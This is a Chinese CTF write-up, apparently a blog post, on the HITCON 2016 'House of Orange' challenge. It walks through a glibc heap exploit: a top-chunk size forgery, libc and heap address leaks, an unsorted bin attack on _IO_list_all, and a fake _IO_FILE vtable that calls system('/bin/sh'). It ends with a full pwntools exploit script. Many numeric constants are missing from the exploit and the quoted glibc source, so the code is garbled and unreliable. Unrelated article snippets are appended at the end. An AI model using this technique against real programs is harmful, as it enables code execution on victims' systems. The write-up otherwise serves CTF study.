题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

查看程序保护:

发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

这题的难点没有free函数,但是对溢出没有限制,且malloc的size我们可以自己控制,所以可以载top_chunk上做文章。

利用思路:

  • 修改top_chunk的size小于要分配的size,这样old_top会被放入unsorted_bin中
  • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
  • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

完整的exp我会放在最后,现在我们分步来看利用过程。

第一步:修改top_chunk的size,并将其放入unsorted bin中。

在ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

  • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
  • 申请的chunk大小大于128KB,利用mmap分配堆

为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

  /* Record incoming configuration of top */

      old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/ //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
assert ((old_top == initial_top (av) && old_size == ) ||
((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - )) == )); //检查top_chunk结束的的地址是否页对齐 /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

我们可以发现伪造的top_chunk的size要满足一下条件:

  • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
  • size的inuse位要为1
  • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于你要申请的chunk的大小

部分利用代码如下:

Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)

第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

部分源码:

                    if (old_size != )
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE); /*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size = ( * SIZE_SZ) | PREV_INUSE; chunk_at_offset (old_top, old_size + * SIZE_SZ)->size = ( * SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, );
}
}

可以看出最后会调用_int_free把old_top放入unsorted bin中

部分利用脚本:

Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr))

第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

          if (((fp->_mode <=  && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) ==
&& fp->_mode > && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

绕过检查,上述条件,最终exp如下:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./houseoforange')
elf = ELF('houseoforange')
libc = elf.libc def Build(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color)) def See():
p.sendlineafter('Your choice : ', '') def Upgrade(length, name, price, color):
p.sendlineafter('Your choice : ', '')
p.sendlineafter('Length of name :', str(length))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange: ', str(price))
p.sendlineafter('Color of Orange: ', str(color)) Build(0x80, 'simple', 0x1234, 0xddaa)
payload = '\x00'*0x88 + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64() + p64() + p64(0xf30) #伪造的的top_chunk的size为0xf30
Upgrade(len(payload), payload, 0x1234, 0xddaa)
Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
gdb.attach(p)
See()
p.recvuntil('Name of house : AAAAAAAA')
libc_base = u64(p.recv().ljust(, '\x00')) - 0x3c5188
info("libc_base ==> " + hex(libc_base)) payload = 'A'*
Upgrade(len(payload), payload, 0x1234, 0xddaa)
See()
p.recvuntil('A'*)
chunk_addr = u64(p.recv().ljust(, '\x00'))
info("chunk_addr ==> " + hex(chunk_addr)) _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
system = libc.symbols['system'] + libc_base
info('-------------------------unsorted bin and build fake file-----------------') vtable = chunk_addr + 0x510
payload = '\x00'*0x400 + p64() + p64(0x21) + '\x34\x12\x00\x00\xaa\xdd\x00\x00' + p64()
payload += '/bin/sh\x00' + p64(0x60) + p64() + p64(_IO_list_all-0x10) + '\x00'* + p64() + '\x00'*0xa8 + p64(vtable)
payload += '\x00'*0x18 + p64(system)
Upgrade(len(payload), payload, 0x1234, 0xddaa) p.sendlineafter('Your choice : ', '') p.interactive()

House of Orange的更多相关文章

  1. 利用Python【Orange】结合DNA序列进行人种预测

    http://blog.csdn.net/jj12345jj198999/article/details/8951120 coursera上 web intelligence and big data ...

  2. orange pi pc 体验(一)

    最近在淘宝上看到一款和树莓派差不多的卡片机,定价才99元,而且是国产的,忍不住入手了一个,就是orange pi 感兴趣的可以百度搜索下,深圳一个公司出的,不过资料比树莓派少了很多,论坛中人也没多少, ...

  3. 《Orange'S:一个操作系统的实现》笔记(一)

    感觉自己对于操作系统始终没有一个清楚的概念,尤其最近困扰于实模式.保护模式以及寻址方式等一些概念.转而一想,所有的程序,最终都是操作的计算机资源,需要和操作系统打交道,所以操作系统有必要深入了解一下. ...

  4. python数据挖掘orange

    http://blog.csdn.net/pipisorry/article/details/52845804 orange的安装 linux下的安装 先安装依赖pyqt4[PyQt教程 - pyth ...

  5. Orange Greenworks

    对于steam游戏开发,成就功能是必不可少的. 而Rpgmaker系列无自带的插件或指令实现,且多数游戏作者并无熟练的脚本编写能力,所以~~ 我们要使用外部插件----Orange  Work. 这里 ...

  6. Orange——开源机器学习交互式数据分析工具

    Orange为新手和专家提供开源机器学习和数据可视化.使用大型工具箱交互式数据分析工作流程. 交互式数据可视化 Orange的全部内容都是关于数据可视化,帮助发现隐藏的数据模式,提供数据分析过程背后的 ...

  7. Orange Pi 3 GPIO 笔记

    这是我写过的最水的文章 设备:Orange pi H6,Pi 3 引脚图: (使用Wiringpi 查看GPIO) +------+-----+----------+------+---+Orange ...

  8. 女子监狱第四季/全集Orange Is the New Black迅雷下载

    女子监狱 第三季 Orange Is the New Black 3 (2015) 本季看点:该剧由<吉尔莫女孩>.<单身毒妈第一季>编剧杰姬·科恩的打造.由<护士当家& ...

  9. 女子监狱第一季/全集Orange Is the New Black迅雷下载

    本季第一季 Orange Is the New Black 1 (2013) 看点:该剧描述主人公Piper Chapman(Taylor Schilling)在大学里结识了毒贩Alex(Laura ...

  10. java 泛型没有协变类型, 所以要重用extends, 但使用List<? extends Fruit> 可以是ArrayList<Fruit>()、ArrayList<Apple>()、ArrayList<Orange>(), 因此不能add元素进去

    class Fruit{} class Apple extends Fruit{} class SubApple extends Apple{} class Orange extends Fruit{ ...

随机推荐

  1. VMware Workstation pro无法在Windows上运行,检查可在Windows上运行的此应用的更新版本

    我的Windows版本是win10-1903,VMware版本比较老旧是VMware-10:国庆节后微软推送了一个新的更新补丁,更新之后发现VMware无法打开(未更新前正常). 更新补丁详情如下: ...

  2. springboot多环境配置文件

    一.关于springboot的配置文件 springboot的配置文件主要有两种:properties文件和yml文件,我们只要选择一种使用就可以了.我们通过properties文件介绍一下配置的方式 ...

  3. IE6和IE11之间 表单提交 按钮设置了disabled属性

    JSP代码可以不看,就是一个表单,通过submit提交. <form action="mainAction.do?method=saveQuote" method=" ...

  4. 对象原型之__proto__

    对象都会有一个__proto__指向构造函数的prototype原型对象,对象之所以能够使用构造函数的prototype原型对象的方法,就是因为有__proto__原型的存在.       funct ...

  5. C#LeetCode刷题-递归

    递归篇 # 题名 刷题 通过率 难度 687 最长同值路径   30.8% 简单 698 划分为k个相等的子集   30.7% 中等 726 原子的数量   37.2% 困难 761 特殊的二进制序列 ...

  6. 初识ABP vNext(1):开篇计划&基础知识

    目录 前言 开始 审计(Audit) 本地化(Localization) 事件总线(Event Bus) 多租户(multi-tenancy technology) DDD分层 实体(Entity) ...

  7. 编写高质量代码的50条黄金守则-Day 02(首选readonly而不是const)

    编写高质量代码的50条黄金守则-Day 02(首选readonly而不是const),本文由比特飞原创发布,转载务必在文章开头附带链接:https://www.byteflying.com/archi ...

  8. 聊聊MySQL主从复制的几种复制方式

    目录 异步复制 多线程复制 增强半同步复制 异步复制 MySQL的复制默认是异步的,主从复制至少需要两个MYSQL服务,这些MySQL服务可以分布在不同的服务器上,也可以在同一台服务器上. MySQL ...

  9. Python版常见的排序算法

    学习笔记 排序算法 目录 学习笔记 排序算法 1.冒泡排序 2.选择排序 3.插入排序 4.希尔排序 5.快速排序 6.归并排序 7.堆排序 排序分为两类,比较类排序和非比较类排序,比较类排序通过比较 ...

  10. java Semaphore实现ABC三个线程循环打印

    Semaphore位于java.util.concurrent包下.其中有两个重要的方法acquire()和release().acquire用来获取一个信号量,并且是阻塞型的,如果当前还有可用的信号 ...